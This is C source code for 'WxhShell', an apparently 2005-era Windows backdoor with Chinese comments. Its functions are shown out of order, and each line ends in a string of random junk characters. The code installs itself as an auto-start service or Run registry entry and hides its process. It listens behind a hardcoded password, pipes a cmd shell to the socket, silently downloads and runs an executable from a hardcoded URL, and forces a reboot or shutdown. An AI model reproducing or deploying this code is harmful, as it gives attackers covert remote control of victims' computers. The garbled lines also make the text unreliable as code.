  case 'd': { .N  Z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L [X "N  
    if(Boot(SHUTDOWN)) He  LW*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [g$IN/o%  
    else { )S|&3\  
    closesocket(wsh); NsL!AAN[V  
    ExitThread(0); v)LSH;<  
    } h%Uq  
    break; F&D ,y-CQ  
    } H8qWY"<Vd  
  // 获取shell c) _u^Dh  
  case 's': { B1z7r0Rm,  
    CmdShell(wsh); G%SoC  
    closesocket(wsh); G-Zn-I  
    ExitThread(0); Ej$oRo{ IG  
    break; fY 10a_@x  
  } FOS*X  
  // 退出 P B{7u  
  case 'x': { :qtg`zM/4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gyOAvx  
    CloseIt(wsh); (FSa>  
    break; .8]=yPm  
    } *):s**BJ$  
  // 离开 ~!'T!g%C  
  case 'q': { 7}vx]p2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); iy|xF~  
    closesocket(wsh); H=*2A!O[_  
    WSACleanup(); kjOI7`DU  
    exit(1); P7;q^jlB  
    break; s~g]`/h$r  
        } `k3sl 0z%  
  } bJFqyK:6  
  } 4YCuO%  
cEEnR1  
  // 提示信息 XknbcA|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "2`/mt Mon  
} ._`?ZJ  
  } EP6@5PNZ  
]O&yy{yYK  
  return; &}FWpo!  
} h{CyYsQ  
?r^>Vk}  
// shell模块句柄 6tup^Rlo;$  
int CmdShell(SOCKET sock) 2.&%mSN  
{ gA&`vnNP  
STARTUPINFO si; TR!7@Mu 3  
ZeroMemory(&si,sizeof(si)); >;~ia3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G[Jz(/yNH  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; sDyt3xN  
PROCESS_INFORMATION ProcessInfo; i[PksT#p  
char cmdline[]="cmd"; M3H^s_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h~k+!\  
  return 0; w,zm!  
} >C}KSyV;  
l,ra24  
// 自身启动模式 EP8R[Q0_"  
int StartFromService(void) x.>[A^  
{ N0UZ%,h\  
typedef struct $GIup5  
{ Ikgia:/-Z  
  DWORD ExitStatus; 42wZy|oqp  
  DWORD PebBaseAddress; -_BjzA|  
  DWORD AffinityMask; 3 /LW6W|  
  DWORD BasePriority; &p.7SPQ8/  
  ULONG UniqueProcessId; iU4Z9z!  
  ULONG InheritedFromUniqueProcessId; JO\KTWtjO  
}   PROCESS_BASIC_INFORMATION; _6C,w`[[6  
,w7ZsI4:[  
PROCNTQSIP NtQueryInformationProcess; |}<!O@<|  
q ?m<9`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DO ,7vMO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; wyv%c/WlS  
hr/|Fn+kA  
  HANDLE             hProcess; S?# 'Y*h  
  PROCESS_BASIC_INFORMATION pbi; WsR4)U/]v  
O\^D 6\ v  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); wW0m}L  
  if(NULL == hInst ) return 0; +<f!#4T  
!&Us^Q^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); sW!MVv  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); RH&}'4JE:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?f=7F %  
 fG|+ !  
  if (!NtQueryInformationProcess) return 0; k:CSH{s5{  
;;n=(cM|z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (.~'\@  
  if(!hProcess) return 0; "Kf4v|6;  
Hv|(V3-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; SNtOHTQ  
~)]n67Or~  
  CloseHandle(hProcess); +!<{80w  
<`*v/D7\02  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )-S;j)(+  
if(hProcess==NULL) return 0; +(vL ~  
kud2O>>  
HMODULE hMod; ( ALsc@K  
char procName[255]; ;($ 3,d8  
unsigned long cbNeeded; .;NoKO7)  
S{ qn^\0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R5'_il  
T1fX[R ^\  
  CloseHandle(hProcess); 2%t!3F:  
Z n]e2  
if(strstr(procName,"services")) return 1; // 以服务启动 xwu,<M v `  
D}EH9d  
  return 0; // 注册表启动 LZrkFkiC  
} 3G-f+HN^E  
j0IuuJ+  
// 主模块 T!gq Z  
int StartWxhshell(LPSTR lpCmdLine) ,:"c"   
{ gj1l9>f>]a  
  SOCKET wsl; BZ@v8y _TA  
BOOL val=TRUE;  Fs1ms)  
  int port=0; ~aRcA|`  
  struct sockaddr_in door; _c6 zzGtH  
yy$7{9!  
  if(wscfg.ws_autoins) Install(); wq`\p['Q,  
DwH=ln=  
port=atoi(lpCmdLine); i+B tz-  
8:4`q 9  
if(port<=0) port=wscfg.ws_port; i@`T_&6l  
^tKJ}}  
  WSADATA data; [[d@P%X&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~CL^%\K  
Xu&4|$wB+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Wy,Tf*[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fIcra  
  door.sin_family = AF_INET; Y4n; [nHQ(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); YfOO]{x,X  
  door.sin_port = htons(port); &fWYQ'\>  
*`.4M)Ym~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { L~xzfO  
closesocket(wsl); &li&P5!i  
return 1; t= oTU,<  
} cE0Kvqe`  
[!E~pW%|n  
  if(listen(wsl,2) == INVALID_SOCKET) { kVb8$Sp  
closesocket(wsl); 'HDbU#vD  
return 1; za@`,Yq  
} rnC u=n  
  Wxhshell(wsl); 3Q"4-pd  
  WSACleanup(); Oy/+uw^  
h *-j  
return 0; L(!mm  
 a7UfRG  
} ^~%z Plv  
/K]<7  
// 以NT服务方式启动 4?{e?5)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _ s[v:c  
{ wFJ?u?b0Q  
DWORD   status = 0; H|iY<7@  
  DWORD   specificError = 0xfffffff; * F T )`  
Q+\?gU]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; kWgZIkY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; EO5k?k[*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; NN9` jP2  
  serviceStatus.dwWin32ExitCode     = 0; S:En9E  
  serviceStatus.dwServiceSpecificExitCode = 0; ~D)!zQkD  
  serviceStatus.dwCheckPoint       = 0; a9GLFA8Vq  
  serviceStatus.dwWaitHint       = 0; ;ip"V 0`  
B|Rnh;B-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |E)Es!dr  
  if (hServiceStatusHandle==0) return; ui:  
Uaho.(_GP  
status = GetLastError(); qi\!<clv  
  if (status!=NO_ERROR) |QvG;{!  
{ YolO-5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; A qKl}8  
    serviceStatus.dwCheckPoint       = 0; ~iZMV ?w  
    serviceStatus.dwWaitHint       = 0; ?N,'1I  
    serviceStatus.dwWin32ExitCode     = status; I"]5B  
    serviceStatus.dwServiceSpecificExitCode = specificError; i~dW)7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); j3bTa|UdT  
    return; iTt"Ik'  
  } tZ]|3wp  
.oq!Ys4KA  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; d))(hk:  
  serviceStatus.dwCheckPoint       = 0; Ok+zUA[Wu  
  serviceStatus.dwWaitHint       = 0; aPq9^S*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 28;D>6c  
} }TZ5/zn.Dw  
0(|BQ'4~H  
// 处理NT服务事件,比如:启动、停止 `CI9~h@k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) u:pdY'`"#  
{ ~EIY(^|py  
switch(fdwControl) {6v|d{V+e  
{ 2roPZj  
case SERVICE_CONTROL_STOP: x-0IxWD%  
  serviceStatus.dwWin32ExitCode = 0; ${#5$U+kI  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,P ?TYk  
  serviceStatus.dwCheckPoint   = 0; *hAeA+:  
  serviceStatus.dwWaitHint     = 0; "-y\F}TE  
  { Q/6T?{\U7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AC=cz!3iB  
  } }(AUe5aw`G  
  return; ,9q=2V[GP  
case SERVICE_CONTROL_PAUSE: $jb0/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0K'lr;  
  break; $V~r*#$.  
case SERVICE_CONTROL_CONTINUE: Wxg,y{(`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; J.:"yK""  
  break; . ({aPtSt!  
case SERVICE_CONTROL_INTERROGATE: lnW/T--  
  break; (| Am  
}; {nT !|S)$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $"T1W=;j9  
} C8cB Lsa[J  
{a9Z<P  
// 标准应用程序主函数 [kzcsJ'/e  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Qp<?[C}'W  
{ U KF/v  
{o7ibw=E)  
// 获取操作系统版本 ~)D2U:"^xm  
OsIsNt=GetOsVer(); *9%<}z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); RMDs~  
71cc6T  
  // 从命令行安装 0G9@A8LU  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^LTLyt)/  
Kwfrh?  
  // 下载执行文件 m:/@DZ  
if(wscfg.ws_downexe) { [9a0J):w{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pq*b"Jku1  
  WinExec(wscfg.ws_filenam,SW_HIDE); YWM$%   
} @g[p>t> *  
wCeSs=[  
if(!OsIsNt) { nTY`1w.;  
// 如果时win9x,隐藏进程并且设置为注册表启动 oScHmGFv  
HideProc(); {O#=%o[  
StartWxhshell(lpCmdLine); eGvHU ;@  
} 'Y6{89y  
else J @"wJEF  
  if(StartFromService()) 'rHkJ  
  // 以服务方式启动 1QE-[|  
  StartServiceCtrlDispatcher(DispatchTable); X.,SXNS+B  
else {8Hrb^8!  
  // 普通方式启动 !li Q;R&  
  StartWxhshell(lpCmdLine); H]"Z_n_  
u7fae$:&  
return 0; )& %X AW{  
} ;38DBo  
Hy|$7]1  
3w ?)H  
v%/_*69a  
=========================================== fV Ah</aZ  
@8|-  C  
Ne@Iv)g?  
g$?B!!qT  
jIZQ/xp8_  
! s?vj <  
" el.;T*Wn  
 |UZ#2  
#include <stdio.h> :7e2O!zH_  
#include <string.h> {|^9y]VFu  
#include <windows.h> m%+W{N4Wb  
#include <winsock2.h> >+7+ gSD#:  
#include <winsvc.h> AVOzx00U  
#include <urlmon.h> 245(ajxHC  
WT;=K0W6&  
#pragma comment (lib, "Ws2_32.lib") 9<.FwV >  
#pragma comment (lib, "urlmon.lib") M9_ y>N[0  
sI@m"A  
#define MAX_USER   100 // 最大客户端连接数 X'TQtI  
#define BUF_SOCK   200 // sock buffer %?<C ?.  
#define KEY_BUFF   255 // 输入 buffer b~Y$!fc  
e/r41  
#define REBOOT     0   // 重启 e/6WhFN #  
#define SHUTDOWN   1   // 关机 ;? '`XB!  
#@;RJJZg  
#define DEF_PORT   5000 // 监听端口 Agl5[{]E  
z~L4BY@z  
#define REG_LEN     16   // 注册表键长度 -=&r}/&  
#define SVC_LEN     80   // NT服务名长度 (Vf&,b@U_  
!?D PI)  
// 从dll定义API T@U_;v|rf  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2L[/.|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6|V713\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); H2BD5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7ib~04  
B0?E$8a  
// wxhshell配置信息 s_hf,QH  
struct WSCFG { mEa\0oPGB  
  int ws_port;         // 监听端口 C;0H _  
  char ws_passstr[REG_LEN]; // 口令 <T)9mJYr  
  int ws_autoins;       // 安装标记, 1=yes 0=no c_~)#F%P  
  char ws_regname[REG_LEN]; // 注册表键名 ~%qHJ4C  
  char ws_svcname[REG_LEN]; // 服务名 $z1u>{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _k\*4K8L  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 T6=c9f?7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \L}Soe'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no G!RbM.6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V k5}d[[l  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?SK1*; i  
|_&vW\  
}; EA7 8&  
;2(8&.  
// default Wxhshell configuration EoD;'+d  
struct WSCFG wscfg={DEF_PORT, G%Hr c  
    "xuhuanlingzhe", p[4KN(PyK  
    1, s]#D;i8  
    "Wxhshell", ]{jdar^  
    "Wxhshell", Rb Jl;  
            "WxhShell Service", m=jxTZK  
    "Wrsky Windows CmdShell Service", n2zJ'  
    "Please Input Your Password: ", NTASrh  
  1, wS-D"\4/  
  "http://www.wrsky.com/wxhshell.exe", i^eU!^KF  
  "Wxhshell.exe" Y #E/"x%+  
    }; $bIVD  
\XFF(  
// 消息定义模块 wHq*)7#h#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {'C PLJ{R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; FloCR=^H  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; J.W0F #?  
char *msg_ws_ext="\n\rExit."; :V*c9,>ZO  
char *msg_ws_end="\n\rQuit."; @W[`^jfQ  
char *msg_ws_boot="\n\rReboot..."; ghq[oK  
char *msg_ws_poff="\n\rShutdown..."; &\#If:  
char *msg_ws_down="\n\rSave to "; /FJ )gQYA  
]&w8"q  
char *msg_ws_err="\n\rErr!"; 89e<,f`h  
char *msg_ws_ok="\n\rOK!"; =Y Je\745  
0Mpc#:a%1  
char ExeFile[MAX_PATH]; -7,xjn  
int nUser = 0; %"B+;{y(5  
HANDLE handles[MAX_USER]; |(G^3+5Uwm  
int OsIsNt; 21Mr2-#z  
J:LwO  
SERVICE_STATUS       serviceStatus; mj:X'BVA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,j\1UAa  
+NWhvs  
// 函数声明 [hC-} 9  
int Install(void); HjCcfOej  
int Uninstall(void); zV {_dO  
int DownloadFile(char *sURL, SOCKET wsh); m%au* 0p  
int Boot(int flag); n=Qz7N(M  
void HideProc(void); z0|%h?N  
int GetOsVer(void); a^/j&9  
int Wxhshell(SOCKET wsl); U?BuV  
void TalkWithClient(void *cs); K;j}qJvsb  
int CmdShell(SOCKET sock); o+Cd\D69S  
int StartFromService(void); is`O,Met  
int StartWxhshell(LPSTR lpCmdLine); _UU-  
|hGi8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =, kH(rp2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :+u K1N  
p+6L qk<  
// 数据结构和表定义 ,F^Rz.  
SERVICE_TABLE_ENTRY DispatchTable[] = 3>O=d>  
{ uRIa Nwohv  
{wscfg.ws_svcname, NTServiceMain}, fbv%&z  
{NULL, NULL} V% -wZL/  
}; +2X q+P  
*F[;D7sZ~  
// 自我安装 [@K#BFA  
int Install(void) N-C=O  
{ FQ6jM~  
  char svExeFile[MAX_PATH]; XNZW J  
  HKEY key; d^-sxl3}  
  strcpy(svExeFile,ExeFile); [OTZ"XQLI  
P[q`{TdV  
// 如果是win9x系统,修改注册表设为自启动 a[).'$S}'  
if(!OsIsNt) { )o51QgPy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UB5X2uBv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ( q8uB  
  RegCloseKey(key); RxUABF8b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DMeP9D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /U1&#"P  
  RegCloseKey(key); \~ACWF7l  
  return 0; ItLP&S=  
    } f3bZ*G%f  
  } ;_]Z3  
} RlW7l1h&  
else { >n!,KUu]  
. PAR  
// 如果是NT以上系统,安装为系统服务 !`UHr]HJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z#Q)a;RA  
if (schSCManager!=0) f*uD9l%/  
{ }iu(-{Z  
  SC_HANDLE schService = CreateService 6e%|.}U  
  ( (K"8kQLY  
  schSCManager, !X 8<;e}2  
  wscfg.ws_svcname, C{"uz_Gh  
  wscfg.ws_svcdisp, +0)zB;~7  
  SERVICE_ALL_ACCESS, cag9f?w@V  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , utJz e  
  SERVICE_AUTO_START, v<2B^(i}VB  
  SERVICE_ERROR_NORMAL, Xfq]vQ/{  
  svExeFile, n-%8RV  
  NULL, jT6zpi~]E  
  NULL, A&dNCB  
  NULL, QqS?-   
  NULL, +ISXyGu  
  NULL vU|.Gw  
  ); ^mNPP:%iN  
  if (schService!=0) rwRb _eIj  
  { A \6Q*VhK  
  CloseServiceHandle(schService); TNvE26.(  
  CloseServiceHandle(schSCManager); &;V3[ *W"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); UdSu:V|  
  strcat(svExeFile,wscfg.ws_svcname); Rlq6I?S+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2k^dxk~$V;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o}iqLe\  
  RegCloseKey(key); Ya_4[vR<  
  return 0; jE&Onzc  
    } w|1Gb[  
  } TF@HwF"#  
  CloseServiceHandle(schSCManager); fC$~3v  
} X> *o\   
} @c8s<9I]  
F[ Itq  
return 1; x_&m$Fh  
} yk5T"# '+  
LqHeLN  
// 自我卸载 Kk^tQwj/QE  
int Uninstall(void) $j~oB:3n7  
{ EmDA\9~@R  
  HKEY key; C+WHg-l  
n.m6n*sf7  
if(!OsIsNt) { VH{SE7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GMw|@?:{  
  RegDeleteValue(key,wscfg.ws_regname); Y=gj{]4  
  RegCloseKey(key); O ).1>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %;.|?gR  
  RegDeleteValue(key,wscfg.ws_regname); 6]|NB&  
  RegCloseKey(key); 4LU'E%vlC  
  return 0; NRS!Ox  
  } RRD\V3C84  
} u+]v. Mt  
} ifu "e_^  
else { n\2VrUQ)M  
@"}dbW<DV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); p6V`b'*>  
if (schSCManager!=0) -5NP@  
{ [@}{sH(#Ta  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); mu1oD;lQ  
  if (schService!=0) hfY Ieb#91  
  { ?lxI& h  
  if(DeleteService(schService)!=0) { S.+)">buH  
  CloseServiceHandle(schService); [Cz.K?+#M  
  CloseServiceHandle(schSCManager); _"Q +G@@  
  return 0; 5eC5oX>  
  } `07u}]d8  
  CloseServiceHandle(schService); ,q#^ _/?  
  } oHmU|  
  CloseServiceHandle(schSCManager); `h M:U  
} O.=~/!(  
} L%a ni}V  
yI9l*'  
return 1; E{r_CR+8  
} l;L&ijTQD  
~?vm97l  
// 从指定url下载文件 ^(8 i` `V  
int DownloadFile(char *sURL, SOCKET wsh) uNnwz%w  
{ CF^7 {g(y_  
  HRESULT hr; gQ h0-Dnw  
char seps[]= "/"; GI$t8{M  
char *token; hQBeM7$F_  
char *file; v,RLN`CID  
char myURL[MAX_PATH]; ,"PwNv  
char myFILE[MAX_PATH];  ew4IAF  
wC BL1[~C  
strcpy(myURL,sURL); 0+8ThZ?n  
  token=strtok(myURL,seps); p;j$i6YJ  
  while(token!=NULL) mN?'Aey  
  { v?<x"XKR  
    file=token; bm1ngI1oI  
  token=strtok(NULL,seps); <_ */  
  } h^>kjMM  
vD) LRO Z  
GetCurrentDirectory(MAX_PATH,myFILE); )1j~(C)E8  
strcat(myFILE, "\\"); -baGr;,Cu  
strcat(myFILE, file); D +)6#i Y  
  send(wsh,myFILE,strlen(myFILE),0); t2OXm  
send(wsh,"...",3,0); 8Mg4y1)RU  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *^c4q|G.-  
  if(hr==S_OK) Ph]e\  
return 0; X >%2\S  
else ^i-%FY_i5}  
return 1; ~A8lvuw3  
)dF(5,y)  
} T|ZZkNP|6  
#Opfc8pm'  
// 系统电源模块 v.6" <nT2  
int Boot(int flag) Jkm\{;  
{ ]vQo^nOo  
  HANDLE hToken; 9z'</tJ`  
  TOKEN_PRIVILEGES tkp; >Fx$Rty  
/GM-#q a  
  if(OsIsNt) { {,APZ`q|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); r.i.w0B(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lu(G3T8  
    tkp.PrivilegeCount = 1; }~QB2&3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^#3$C?d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q3NS?t!  
if(flag==REBOOT) { mkE*.I0=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) aE#ZTc=  
  return 0; h%=b"x  
} Z(as@gj H  
else { yH#;k:O=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) crgYr$@s?  
  return 0; a _  
} AF3t#)q  
  } mnmwO(.  
  else { k}lx!Ck  
if(flag==REBOOT) { )7j"OE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [7I|8  
  return 0; Jh466; E  
} lf|^^2'*2<  
else { 3Vw%[+lY9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M0]l!x#7  
  return 0; 3gabk/  
} ,s)~Y p?<  
} o~4n8  
VsZ_So;  
return 1; *|E@ 81s#  
} )<^ ~${$U  
}?fa+FQGp  
// win9x进程隐藏模块 oTa! F;I  
void HideProc(void) 8V|-BP5^  
{ \ 3LD^[qi  
E,6E-9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); GzB%vsv9 5  
  if ( hKernel != NULL ) c=b\9!hr_E  
  { @H_LPn  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &pba~X.u  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); I9Sh~vTm=u  
    FreeLibrary(hKernel); %@xYg{  
  } ffB]4  
-{7N]q)}  
return; 4xYo2X,B  
} qt:->yiq+  
]_pL79y  
// 获取操作系统版本 ^CE:?>a$  
int GetOsVer(void) cq=R  
{ C=b5[, UCB  
  OSVERSIONINFO winfo; .XE]vo  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W ,U'hk%  
  GetVersionEx(&winfo); Z*QRdB%,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  y]+A7|  
  return 1; 0jzA\$oD  
  else 'H9~rq7  
  return 0; b;O+QRa  
} & vIKNGJ^  
Bf}_ Jw-=  
// 客户端句柄模块 $-0u`=!  
int Wxhshell(SOCKET wsl) Aa Ma9hvT!  
{ ' FK"-)s  
  SOCKET wsh; gJ7$G3&oZg  
  struct sockaddr_in client; 950b9Vn&  
  DWORD myID; Y5opZ G  
pqr" x2=.  
  while(nUser<MAX_USER) I|5OCTu  
{ +vnaEy  
  int nSize=sizeof(client); gf=*m"5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `2oi~^.  
  if(wsh==INVALID_SOCKET) return 1; CMr`n8M  
')aYkO{%sb  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c9[5)  
if(handles[nUser]==0) : L>d]Hn  
  closesocket(wsh); b1OB'P8  
else l*u@T|Fc$  
  nUser++; 0#7 dm9  
  } Pm_=   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8dH|s#.4um  
Kv7NCpq'  
  return 0; GND[f}  
} (`p(c;"*C!  
|H4'*NP"  
// 关闭 socket $3ILVT  
void CloseIt(SOCKET wsh) 1}pR')YL[  
{ D4|_?O3 |m  
closesocket(wsh); &)l:m.  
nUser--; uz#9w\="  
ExitThread(0); On^#x]  
} y)}aySQK^  
Ydx5kUJV<  
// 客户端请求句柄 i@* ^]'  
void TalkWithClient(void *cs) SD&[K 8-i2  
{ S(6ZX>wv:  
4=Ey\Px  
  SOCKET wsh=(SOCKET)cs; B (falmXJ  
  char pwd[SVC_LEN]; {E/TC%  
  char cmd[KEY_BUFF]; :dzU]pk%0  
char chr[1]; wO#+8js  
int i,j; =+ p+_}C  
c0 |p34  
  while (nUser < MAX_USER) { Jy_'(hG  
4_<Uk  
if(wscfg.ws_passstr) { 0pFHE>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ShpnFuH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ie"R,,c   
  //ZeroMemory(pwd,KEY_BUFF); Z3dd9m#.]  
      i=0; ^ne8~ ;Q  
  while(i<SVC_LEN) { 9K|lU:,  
%j@FZ )a[  
  // 设置超时 0,/x#  
  fd_set FdRead; WIm7p1U#V  
  struct timeval TimeOut; 9f\8oJQ  
  FD_ZERO(&FdRead); kP$g l|  
  FD_SET(wsh,&FdRead); l'QR2r7&.  
  TimeOut.tv_sec=8; ]aNnY?qW5  
  TimeOut.tv_usec=0; cAS_?"V a  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )*ckJK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n^N]iw{G  
ak `)>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M;qL)vf  
  pwd=chr[0]; E,7~kd~y`  
  if(chr[0]==0xd || chr[0]==0xa) { NrcCUZ .:N  
  pwd=0; "ux]kfoT  
  break; l,wN@Nk  
  } de9l;zF  
  i++; 31& .Lnq  
    } Nl`ry2"<  
K/`RZ!  
  // 如果是非法用户,关闭 socket GDp p`'\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); YS~t d+*  
} 5Q`n6x|  
9^ p{/Io  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (PcK(C!}=\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RH]>>tJ^e  
y PYJc  
while(1) { .A)Un/k7  
o '/C$E4W  
  ZeroMemory(cmd,KEY_BUFF); J"/z?!)IB  
@T1+b"TC  
      // 自动支持客户端 telnet标准   xc.D!Iav  
  j=0; u3mT l  
  while(j<KEY_BUFF) { 7CM03R[P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S.|kg2  
  cmd[j]=chr[0]; FJ8@b  
  if(chr[0]==0xa || chr[0]==0xd) { 6L9[U^`@  
  cmd[j]=0; %aBJ+V F  
  break; +\GZ(!~  
  } ,,%:vK+V  
  j++; 2 BX GVo  
    } +'KE T,  
'QojSq   
  // 下载文件 heZy 66  
  if(strstr(cmd,"http://")) { <3=qLm  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #0hNk%X=  
  if(DownloadFile(cmd,wsh)) fGf-fh;s  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .#55u+d,  
  else $?J+dB  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 34wM%@D*c  
  } m+2`"1IE[  
  else { )|y2Q  
D`:d'ow~KQ  
